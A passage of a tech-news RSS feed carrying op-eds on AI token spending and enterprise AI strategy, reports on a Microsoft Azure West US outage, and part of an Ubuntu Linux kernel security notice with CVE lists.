CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125,
CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168,
CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure-Ausfall: Wartungsfehler legt 27 Dienste stundenlang lahm - Börse Express]]></title>
<description><![CDATA[Microsoft 365 und Windows-Updates lahmgelegt ... Das traf sowohl Privatanwender als auch Unternehmen, die auf Windows Server Update Services (WSUS) ...]]></description>
<link>https://tsecurity.de/de/3691393/windows-server/azure-ausfall-wartungsfehler-legt-27-dienste-stundenlang-lahm-boerse-express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691393/windows-server/azure-ausfall-wartungsfehler-legt-27-dienste-stundenlang-lahm-boerse-express/</guid>
<pubDate>Fri, 24 Jul 2026 13:31:54 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft 365 und Windows-Updates lahmgelegt ... Das traf sowohl Privatanwender als auch Unternehmen, die auf <b>Windows Server</b> Update Services (WSUS) ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3691376/it-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691376/it-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Fri, 24 Jul 2026 13:20:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Network World.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3691358/it-security-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691358/it-security-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8603-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 13:02:31 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KProbes tracing;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Landlock security;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
